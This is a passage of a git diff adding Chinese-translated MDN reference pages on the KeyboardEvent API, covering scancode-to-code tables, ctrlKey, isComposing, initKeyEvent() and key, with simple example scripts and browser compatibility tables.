0x00AF0x00B2"Unidentified"""
0x00B3"LaunchMediaPlayer" ("MediaSelect" prior to Firefox 49)""
0x00B4"BrowserHome"""
0x00B5"BrowserRefresh""BrowserRefresh"
0x00B60x00BA"Unidentified"""
0x00BB +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"NumpadParenLeft"
0x00BC +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"NumpadParenRight"
0x00BD, 0x00BE +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x00BF"F13"""
0x00C0"F14"""
0x00C1"F15"""
0x00C2"F16"""
0x00C3"F17"""
0x00C4"F18"""
0x00C5"F19"""
0x00C6"F20"""
0x00C7"F21"""
0x00C8"F22"""
0x00C9"F23"""
0x00CA"F24"""
0x00CB ~ 0x00E0 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x00E1"BrowserSearch"""
+ +

Code values on Android and Firefox OS (When scancode is available)

+ +


+  

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
scancodeGecko {{gecko_minversion_inline("32.0")}}
0x0001"Escape"
0x0002"Digit1"
0x0003"Digit2"
0x0004"Digit3"
0x0005"Digit4"
0x0006"Digit5"
0x0007"Digit6"
0x0008"Digit7"
0x0009"Digit8"
0x000A"Digit9"
0x000B"Digit0"
0x000C"Minus"
0x000D"Equal"
0x000E"Backspace"
0x000F"Tab"
0x0010"KeyQ"
0x0011"KeyW"
0x0012"KeyE"
0x0013"KeyR"
0x0014"KeyT"
0x0015"KeyY"
0x0016"KeyU"
0x0017"KeyI"
0x0018"KeyO"
0x0019"KeyP"
0x001A"BracketLeft"
0x001B"BracketRight"
0x001C"Enter"
0x001D"ControlLeft"
0x001E"KeyA"
0x001F"KeyS"
0x0020"KeyD"
0x0021"KeyF"
0x0022"KeyG"
0x0023"KeyH"
0x0024"KeyJ"
0x0025"KeyK"
0x0026"KeyL"
0x0027"Semicolon"
0x0028"Quote"
0x0029"Backquote"
0x002A"ShiftLeft"
0x002B"Backslash"
0x002C"KeyZ"
0x002D"KeyX"
0x002E"KeyC"
0x002F"KeyV"
0x0030"KeyB"
0x0031"KeyN"
0x0032"KeyM"
0x0033"Comma"
0x0034"Period"
0x0035"Slash"
0x0036"ShiftRight"
0x0037"NumpadMultiply"
0x0038"AltLeft"
0x0039"Space"
0x003A"CapsLock"
0x003B"F1"
0x003C"F2"
0x003D"F3"
0x003E"F4"
0x003F"F5"
0x0040"F6"
0x0041"F7"
0x0042"F8"
0x0043"F9"
0x0044"F10"
0x0045"NumLock"
0x0046"ScrollLock"
0x0047"Numpad7"
0x0048"Numpad8"
0x0049"Numpad9"
0x004A"NumpadSubtract"
0x004B"Numpad4"
0x004C"Numpad5"
0x004D"Numpad6"
0x004E"NumpadAdd"
0x004F"Numpad1"
0x0050"Numpad2"
0x0051"Numpad3"
0x0052"Numpad0"
0x0053"NumpadDecimal"
0x0054, 0x0055 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0056"IntlBackslash"
0x0057"F11"
0x0058"F12"
0x0059"IntlRo"
0x005A, 0x005B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x005C"Convert"
0x005D"KanaMode"
0x005E"NonConvert"
0x005F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0060"NumpadEnter"
0x0061"ControlRight"
0x0062"NumpadDivide"
0x0063"PrintScreen"
0x0064"AltRight"
0x0065 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0066"Home"
0x0067"ArrowUp"
0x0068"PageUp"
0x0069"ArrowLeft"
0x006A"ArrowRight"
0x006B"End"
0x006C"ArrowDown"
0x006D"PageDown"
0x006E"Insert"
0x006F"Delete"
0x0070 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0071 +

"AudioVolumeMute"

+ +
+

Prior to Firefox 48, this key code is identifi9ed as "VolumeMute".

+
+
0x0072 +

"AudioVolumeDown"

+ +
+

Prior to Firefox 48, this key code is identifi9ed as "VolumeDown".

+
+
0x0073 +

"AudioVolumeUp"

+ +

Prior to Firefox 48, this key code is identifi9ed as "VolumeUp".

+
0x0074"Power"
0x0075"NumpadEqual"
0x0076 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0077"Pause"
0x0078 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x0079"NumpadComma"
0x007A"Lang1"
0x007B"Lang2"
0x007C"IntlYen"
0x007D +

"MetaLeft"

+ +
+

Prior to Firefox 48, this key code is reported as "OSLeft".

+
+
0x007E +

"MetaRight"

+ +
+

Prior to Firefox 49, this key code is reported as "MetaRight".

+
+
0x007F"ContextMenu"
0x0080"BrowserStop"
0x0081"Again" {{gecko_minversion_inline("38.0")}}
0x0082"Props" {{gecko_minversion_inline("38.0")}}
0x0083"Undo" {{gecko_minversion_inline("38.0")}}
0x0084"Select" {{gecko_minversion_inline("38.0")}}
0x0085"Copy" {{gecko_minversion_inline("38.0")}}
0x0086"Open" {{gecko_minversion_inline("38.0")}}
0x0087"Paste" {{gecko_minversion_inline("38.0")}}
0x0088"Find" {{gecko_minversion_inline("38.0")}}
0x0089"Cut" {{gecko_minversion_inline("38.0")}}
0x008A"Help"
0x008B0x008D +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x008E"Sleep"
0x008F"WakeUp"
0x0090"LaunchApp1"
0x00910x009B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x009C"BrowserFavorites"
0x009D +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x009E"BrowserBack"
0x009F"BrowserForward"
0x00A0 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x00A1"Eject"
0x00A2 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x00A3"MediaTrackNext"
0x00A4"MediaPlayPause"
0x00A5"MediaTrackPrevious"
0x00A6"MediaStop"
0x00A70x00AC +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x00AD"BrowserRefresh"
0x00AE0x00B6"Unidentified" Prior to Firefox 48, this key code is reported as "" (an empty string).
0x00B7"F13"
0x00B8"F14"
0x00B9"F15"
0x00BA"F16"
0x00BB"F17"
0x00BC"F18"
0x00BD"F19"
0x00BE"F20"
0x00BF"F21"
0x00C0"F22"
0x00C1"F23"
0x00C2"F24"
0x00C30x00D8 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x00D9"BrowserSearch"
0x00DA0x01CF +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
0x01D0"Fn"
diff --git a/files/zh-cn/web/api/keyboardevent/ctrlkey/index.html b/files/zh-cn/web/api/keyboardevent/ctrlkey/index.html new file mode 100644 index 0000000000..16d60aa08a --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/ctrlkey/index.html @@ -0,0 +1,126 @@ +--- +title: KeyboardEvent.ctrlKey +slug: Web/API/KeyboardEvent/ctrlKey +tags: + - API + - DOM + - KeyboardEvent + - events + - 鼠标事件 +translation_of: Web/API/KeyboardEvent/ctrlKey +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.ctrlKey 只读属性返回一个 {{jsxref("Boolean")}} 值,表示事件触发时 control 键是 (true) 否(false)按下。

+ +

语法

+ +
var ctrlKeyPressed = instanceOfKeyboardEvent.ctrlKey
+
+ +

返回值

+ +

布尔值

+ +

示例

+ +
<html>
+<head>
+<title>ctrlKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "CTRL key pressed: " + e.ctrlKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Press any character key, with or without holding down the CTRL key.<br />
+You can also use the SHIFT key together with the CTRL key.</p>
+</body>
+</html>
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-KeyboardEvent-ctrlKey','KeyboardEvent.ctrlKey')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性EdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性EdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/keyboardevent/index.html b/files/zh-cn/web/api/keyboardevent/index.html new file mode 100644 index 0000000000..1439268d80 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/index.html @@ -0,0 +1,330 @@ +--- +title: KeyboardEvent +slug: Web/API/KeyboardEvent +tags: + - API + - DOM + - Event + - JavaScript + - KeyboardEvent + - 事件 + - 接口 + - 键盘 + - 键盘事件 +translation_of: Web/API/KeyboardEvent +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent 对象描述了用户与键盘的交互。 每个事件都描述了用户与一个按键(或一个按键和修饰键的组合)的单个交互;事件类型keydownkeypresskeyup 用于识别不同的键盘活动类型。

+ +
 注意:KeyboardEvent 只在低级别提示用户与一个键盘按键的交互是什么,不涉及这个交互的上下文含义。 当你需要处理文本输入的时候,使用 {{event("input")}} 事件代替。用户使用其他方式输入文本时,如使用平板电脑的手写系统或绘图板, 键盘事件可能不会触发。
+ +

构造函数

+ +
+
{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}
+
创建一个 KeyboardEvent 对象。
+
+ +

常量

+ +

KeyboardEvent 接口定义了以下常量。

+ +

键盘定位

+ +

下述常量用于识别产生按键事件的键盘位置,以类似 KeyboardEvent.DOM_KEY_LOCATION_STANDARD 的形式来访问。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
键盘定位标识符
常量描述
DOM_KEY_LOCATION_STANDARD0x00 +

The key described by the event is not identified as being located in a particular area of the keyboard; it is not located on the numeric keypad (unless it's the NumLock key), and for keys that are duplicated on the left and right sides of the keyboard, the key is, for whatever reason, not to be associated with that location.

+ +

Examples include alphanumeric keys on the standard PC 101 US keyboard, the NumLock key, and the space bar.

+
DOM_KEY_LOCATION_LEFT0x01 +

The key is one which may exist in multiple locations on the keyboard and, in this instance, is on the left side of the keyboard.

+ +

Examples include the left Control key, the left Command key on a Macintosh keyboard, or the left Shift key.

+
DOM_KEY_LOCATION_RIGHT0x02 +

The key is one which may exist in multiple positions on the keyboard and, in this case, is located on the right side of the keyboard.

+ +

Examples include the right Shift key and the right Alt key (Option on a Mac keyboard).

+
DOM_KEY_LOCATION_NUMPAD0x03 +

The key is located on the numeric keypad, or is a virtual key associated with the numeric keypad if there's more than one place the key could originate from. The NumLock key does not fall into this group and is always encoded with the location DOM_KEY_LOCATION_STANDARD.

+ +

Examples include the digits on the numeric keypad, the keypad's Enter key, and the decimal point on the keypad.

+
+ +
+
+ +

属性

+ +

此接口从 {{domxref("UIEvent")}} 和 {{domxref("Event")}} 中继承属性。

+ +
+
{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}
+
返回一个 {{jsxref("Boolean")}},如果按键事件产生时, Alt (OS X 中是 Option 或  )键被按下,则该值为 true 。
+
{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}
+
返回一个 {{domxref("DOMString")}},其code值代表触发事件的物理按键。 +
警告:这个属性会忽略用户的键盘布局,所以如果用户在QWERTY布局的键盘上按下“Y”位置(第一行字母按键的中间)的按键时,这个属性会返回“KeyY”,即使用户使用QWERTZ布局的键盘(此时用户输入的就是“Z”,其他属性也会提示“Z”)或Dvorak键盘(此时用户输入的就是“F”)也是如此。
+
+
{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}
+
返回一个 {{jsxref("Boolean")}},如果按键事件发生时 Ctrl 键被按下,则该值为 true 。
+
{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}
+
Returns a {{jsxref("Boolean")}} that is true if the event is fired between after compositionstart and before compositionend.
+
{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}
+
Returns a {{domxref("DOMString")}} representing the key value of the key represented by the event.
+
{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}
+
Returns a {{domxref("DOMString")}} representing a locale string indicating the locale the keyboard is configured for. This may be the empty string if the browser or device doesn't know the keyboard's locale. +
Note: This does not describe the locale of the data being entered. A user may be using one keyboard layout while typing text in a different language.
+
+
{{domxref("KeyboardEvent.location")}} {{Readonlyinline}}
+
Returns a {{jsxref("Number")}} representing the location of the key on the keyboard or other input device. A list of the constants identifying the locations is shown above in {{anch("Keyboard locations")}}.
+
{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}
+
Returns a {{jsxref("Boolean")}} that is true if the Meta key (on Mac keyboards, the ⌘ Command key; on Windows keyboards, the Windows key ()) was active when the key event was generated.
+
{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}
+
Returns a {{jsxref("Boolean")}} that is true if the key is being held down such that it is automatically repeating.
+
{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}
+
Returns a {{jsxref("Boolean")}} that is true if the Shift key was active when the key event was generated.
+
+ +

方法

+ +

此接口从 {{domxref("UIEvent")}} 和 {{domxref("Event")}} 中继承方法。

+ +
+
{{domxref("KeyboardEvent.getModifierState()")}}
+
Returns a {{jsxref("Boolean")}} indicating if a modifier key such as Alt, Shift, Ctrl, or Meta, was pressed when the event was created.
+
+ +

过时方法

+ +
+
{{domxref("KeyboardEvent.initKeyEvent()")}} {{deprecated_inline}}
+
Initializes a KeyboardEvent object. This was implemented only by Firefox, and is no longer supported even there; instead, you should use the {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} constructor.
+
{{domxref("KeyboardEvent.initKeyboardEvent()")}} {{deprecated_inline}}
+
Initializes a KeyboardEvent object. This is now deprecated. You should instead use the {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} constructor.
+
+ +

过时属性

+ +
+
{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}
+
Returns a {{domxref("DOMString")}} representing the character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. +
Note: If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.
+
+
{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}
+
Returns a {{jsxref("Number")}} representing the Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. In Firefox 26 this returns codes for printable characters. +
Warning: This attribute is deprecated; you should use {{domxref("KeyboardEvent.key")}} instead, if available.
+
+
{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}}{{Readonlyinline}}
+
Returns a {{jsxref("Number")}} representing a system and implementation dependent numerical code identifying the unmodified value of the pressed key. +
Warning: This attribute is deprecated; you should use {{domxref("KeyboardEvent.key")}} instead, if available.
+
+
{{domxref("KeyboardEvent.keyIdentifier")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}
+
This property is non-standard and has been deprecated in favor of {{domxref("KeyboardEvent.key")}}. It was part of an old version of DOM Level 3 Events.
+
{{domxref("KeyboardEvent.keyLocation")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}
+
This is a non-standard deprecated alias for {{domxref("KeyboardEvent.location")}}. It was part of an old version of DOM Level 3 Events.
+
{{domxref("KeyboardEvent.which")}} {{deprecated_inline}} {{Readonlyinline}}
+
Returns a {{jsxref("Number")}} representing a system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use {{domxref("KeyboardEvent.key")}} instead, if available.
+
+
+ +

事件

+ +

The following events are based on the KeyboardEvent type. They can be delivered to any object which implements {{domxref("GlobalEventHandlers")}}, including {{domxref("Element")}}, {{domxref("Document")}}, and {{domxref("Window")}}. In the list below, each event links to the documentation for the Document handler for the event, which applies generally to all of the recipients.

+ +
+
{{domxref("Document.keydown_event", "keydown")}}
+
A key has been pressed.
+
{{domxref("Document.keyup_event", "keyup")}}
+
A key has been released.
+
+ +

过时事件

+ +
+
{{domxref("Document.keypress_event", "keypress")}} {{obsolete_inline}}
+
通常在一个按键被按下时触发,并产生一个字符串值,这个事件高度依赖硬件(highly device-dependent )且废弃,您不应该使用它
+
+ +

用法说明

+ +

There are three types of keyboard events: {{event("keydown")}}, {{event("keypress")}}, and {{event("keyup")}}. For most keys, Gecko dispatches a sequence of key events like this:

+ +
    +
  1. When the key is first pressed, the keydown event is sent.
  2. +
  3. If the key is not a modifier key, the keypress event is sent.
  4. +
  5. When the user releases the key, the keyup event is sent.
  6. +
+ +

特殊情况

+ +

Some keys toggle the state of an indicator light; these include keys such as Caps Lock, Num Lock, and Scroll Lock. On Windows and Linux, these keys dispatch only the keydown and keyup events.

+ +
+

On Linux, Firefox 12 and earlier also dispatched the keypress event for these keys.

+
+ +

However, a limitation of the macOS event model causes Caps Lock to dispatch only the keydown event. Num Lock was supported on some older laptop models (2007 models and older), but since then, macOS hasn't supported Num Lock even on external keyboards. On older MacBooks with a Num Lock key, that key doesn't generate any key events. Gecko does support the Scroll Lock key if an external keyboard which has an F14 key is connected. In certain older versions of Firefox, this key generated a keypress event; this inconsistent behavior was {{bug(602812)}}.

+ +

Auto-repeat handling

+ +

When a key is pressed and held down, it begins to auto-repeat. This results in a sequence of events similar to the following being dispatched:

+ +
    +
  1. keydown
  2. +
  3. keypress
  4. +
  5. keydown
  6. +
  7. keypress
  8. +
  9. <<repeating until the user releases the key>>
  10. +
  11. keyup
  12. +
+ +

This is what the DOM Level 3 specification says should happen. There are some caveats, however, as described below.

+ +

Auto-repeat on some GTK environments such as Ubuntu 9.4

+ +

In some GTK-based environments, auto-repeat dispatches a native key-up event automatically during auto-repeat, and there's no way for Gecko to know the difference between a repeated series of keypresses and an auto-repeat. On those platforms, then, an auto-repeat key will generate the following sequence of events:

+ +
    +
  1. keydown
  2. +
  3. keypress
  4. +
  5. keyup
  6. +
  7. keydown
  8. +
  9. keypress
  10. +
  11. keyup
  12. +
  13. <<repeating until the user releases the key>>
  14. +
  15. keyup
  16. +
+ +

In these environments, unfortunately, there's no way for web content to tell the difference between auto-repeating keys and keys that are just being pressed repeatedly.

+ +

Auto-repeat handling prior to Gecko 5.0

+ +

Before Gecko 5.0 {{geckoRelease('5.0')}}, keyboard handling was less consistent across platforms.

+ +
+
Windows
+
Auto-repeat behavior is the same as in Gecko 4.0 and later.
+
Mac
+
After the initial keydown event, only keypress events are sent until the keyup event occurs; the inter-spaced keydown events are not sent.
+
Linux
+
The event behavior depends on the specific platform. It will either behave like Windows or Mac depending on what the native event model does.
+
+ +

Note: Manually firing an event does not generate the default action associated with that event. For example, manually firing a key event does not cause that letter to appear in a focused text input. In the case of UI events, this is important for security reasons, as it prevents scripts from simulating user actions that interact with the browser itself.

+ +

示例

+ +
<!DOCTYPE html>
+<html>
+<head>
+<script>
+'use strict';
+
+document.addEventListener('keydown', (event) => {
+  const keyName = event.key;
+
+  if (keyName === 'Control') {
+    // do not alert when only Control key is pressed.
+    return;
+  }
+
+  if (event.ctrlKey) {
+    // Even though event.key is not 'Control' (e.g., 'a' is pressed),
+    // event.ctrlKey may be true if Ctrl key is pressed at the same time.
+    alert(`Combination of ctrlKey + ${keyName}`);
+  } else {
+    alert(`Key pressed ${keyName}`);
+  }
+}, false);
+
+document.addEventListener('keyup', (event) => {
+  const keyName = event.key;
+
+  // As the user releases the Ctrl key, the key is no longer active,
+  // so event.ctrlKey is false.
+  if (keyName === 'Control') {
+    alert('Control key was released');
+  }
+}, false);
+
+</script>
+</head>
+
+<body>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('UI Events', '#interface-keyboardevent', 'KeyboardEvent')}}{{Spec2('UI Events')}}
+ +

The KeyboardEvent interface specification went through numerous draft versions, first under DOM Events Level 2 where it was dropped as no consensus arose, then under DOM Events Level 3. This led to the implementation of non-standard initialization methods, the early DOM Events Level 2 version, {{domxref("KeyboardEvent.initKeyEvent()")}} by Gecko browsers and the early DOM Events Level 3 version, {{domxref("KeyboardEvent.initKeyboardEvent()")}} by others. Both have been superseded by the modern usage of a constructor: {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.

+ +

浏览器兼容性

+ + + +

{{Compat("api.KeyboardEvent")}}

+ +

兼容性说明

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/keyboardevent/initkeyevent/index.html b/files/zh-cn/web/api/keyboardevent/initkeyevent/index.html new file mode 100644 index 0000000000..649f129548 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/initkeyevent/index.html @@ -0,0 +1,85 @@ +--- +title: KeyboardEvent.initKeyEvent() +slug: Web/API/KeyboardEvent/initKeyEvent +tags: + - API + - DOM + - KeyboardEvent + - Method + - 参考 +translation_of: Web/API/KeyboardEvent/initKeyEvent +--- +

 

+ +

{{ ApiRef("DOM Events") }}{{non-standard_header}}{{deprecated_header}}

+ +

KeyboardEvent.initKeyEvent方法用于初始化使用{{domxref("document.createEvent")}}("KeyboardEvent")创建的事件的值。 以这种方式初始化的事件必须使用{{domxref("document.createEvent")}}("KeyboardEvent")方法创建。 在调度之前,必须调用initKeyEvent来设置事件。

+ +

不要再使用这个方法,而是使用{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}构造函数。
+ 该方法基于{{SpecName("DOM2 Events")}}的早期草案,并在基于Gecko的浏览器中实现; 其他浏览器基于{{SpecName("DOM3 Events")}}的早期草稿实现{{domxref("KeyboardEvent.initKeyboardEvent")}}。 将现代构造函数结构视为构建事件的唯一跨浏览器方式。

+ +

Syntax

+ +
event.initKeyEvent (type, bubbles, cancelable, viewArg,
+                    ctrlKeyArg, altKeyArg, shiftKeyArg, metaKeyArg,
+                    keyCodeArg, charCodeArg)
+
+ +

Parameters

+ +
+
type
+
是表示事件类型的{{domxref("DOMString")}}。
+
bubbles
+
是{{jsxref("Boolean")}}指示事件是否应该通过事件链冒泡(请参阅冒泡)。
+
cancelable
+
是{{jsxref("Boolean")}}我指出事件是否可以被取消(见可取消)。
+
viewArg
+
指定{{domxref("UIEvent.view")}}; 此值可能为空。
+
ctrlKeyArg
+
如果要生成的虚拟键是包含Ctrl键的键的组合,则为{{jsxref("Boolean")}}
+
altKeyArg
+
如果要生成的虚拟键是包含Alt键的键的组合,则为{{jsxref("Boolean")}}。
+
shiftKeyArg
+
A {{jsxref("Boolean")}}如果要生成的虚拟键是包含Shift键的键组合,则返回true。
+
metaKeyArg
+
是{{jsxref("Boolean")}}如果要生成的虚拟键是包含Meta键的键的组合,则为true。
+
keyCodeArg
+
是一个无符号长整型,表示被按下的键的虚拟键码值,否则为0.请参阅{{domxref("KeyboardEvent.keyCode")}}以获取键码列表。
+
charCodeArg
+
是一个无符号长整型,表示与按下的键相关的Unicode字符,否则为0。
+
+ +

Example

+ +
var event = document.createEvent('KeyboardEvent'); // create a key event
+// define the event
+event.initKeyEvent("keypress",       // typeArg,
+                   true,             // canBubbleArg,
+                   true,             // cancelableArg,
+                   null,             // viewArg,  Specifies UIEvent.view. This value may be null.
+                   false,            // ctrlKeyArg,
+                   false,            // altKeyArg,
+                   false,            // shiftKeyArg,
+                   false,            // metaKeyArg,
+                    9,               // keyCodeArg,
+                    0);              // charCodeArg);
+
+document.getElementById('blah').dispatchEvent(event);
+
+ +

Specification

+ +

键盘事件的这种实现基于DOM 2事件早期版本中的关键事件规范,后来从该规范中删除。

+ +

initKeyEvent是DOM Level 3事件的当前Gecko等价物(最初起草并且不推荐使用{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}} {{domxref("Keyboard.initKeyboardEvent()")}}方法与以下参数:

+ +
typeArg of type DOMString
+canBubbleArg of type boolean
+cancelableArg of type boolean
+viewArg of type views::AbstractView
+keyIdentifierArg of type DOMString
+keyLocationArg of type unsigned long
+modifiersList of type DOMString);
+ +

 

diff --git a/files/zh-cn/web/api/keyboardevent/iscomposing/index.html b/files/zh-cn/web/api/keyboardevent/iscomposing/index.html new file mode 100644 index 0000000000..a265d70461 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/iscomposing/index.html @@ -0,0 +1,102 @@ +--- +title: KeyboardEvent.isComposing +slug: Web/API/KeyboardEvent/isComposing +tags: + - API + - DOM + - KeyboardEvent + - events + - 键盘事件 +translation_of: Web/API/KeyboardEvent/isComposing +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.isComposing 只读属性,返回一个 {{jsxref("Boolean")}} 值,表示该事件是否在 {{event("compositionstart")}} 之后和 {{event("compositionend")}} 之前被触发。

+ +

语法

+ +
var bool = event.isComposing;
+ +

示例

+ +
var kbdEvent = new KeyboardEvent("syntheticKey", false);
+console.log(kbdEvent.isComposing); // return false
+
+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-KeyboardEvent-isComposing','KeyboardEvent.isComposing')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{ CompatChrome(56.0) }}{{ CompatGeckoDesktop("31.0") }}{{ CompatNo() }}{{ CompatOpera(43) }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性Android WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
基本支持{{ CompatChrome(56.0) }}{{ CompatGeckoMobile("31.0") }}{{ CompatNo() }}{{ CompatOperaMobile(43) }}{{ CompatNo() }}{{ CompatChrome(56.0) }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/keyboardevent/key/index.html b/files/zh-cn/web/api/keyboardevent/key/index.html new file mode 100644 index 0000000000..617cc4f7b9 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/key/index.html @@ -0,0 +1,292 @@ +--- +title: KeyboardEvent.key +slug: Web/API/KeyboardEvent/key +tags: + - 参考 + - 只读属性 + - 属性 + - 键盘事件 +translation_of: Web/API/KeyboardEvent/key +--- +

{{APIRef("DOM Events")}}

+ +

只读属性 KeyboardEvent.key 返回用户按下的物理按键的值。它还与 shiftKey 等调节性按键的状态和键盘的区域 / 和布局有关。它的值由以下因素决定:

+ +
+

查看 所有键值列表

+
+ + + +

KeyboardEvent 次序

+ +

KeyboardEvent 事件以一个预设的次序触发,理解这一点对于理解特定 KeyboardEventkey 属性值大有帮助。对于一个给定的按键操作,KeyboardEvent 将假定 {{domxref("Event.preventDefault")}} 未调用并按下面次序触发:

+ +
    +
  1. 首先触发 {{event("keydown")}} 事件。如果按键长按且生成一个字符,则事件将以一个与平台实现方式相关的时间间隔持续发出,同时将只读属性 {{domxref("KeyboardEvent.repeat")}} 设定为 true
  2. +
  3. 如果按键生成的字符即将插入某个 {{HTMLElement("input")}}、{{HTMLElement("textarea")}} 或其它某个 {{domxref("HTMLElement.contentEditable")}} 设为 true 的元素,则依次触发 {{event("beforeinput")}}、{{event("input")}}事件。注意某些实现中若支持 {{event("keypress")}} 事件则可能将其触发。当按键长按时重复触发。
  4. +
  5. 当按键松开时触发 {{event("keyup")}} 事件。操作结束。
  6. +
+ +

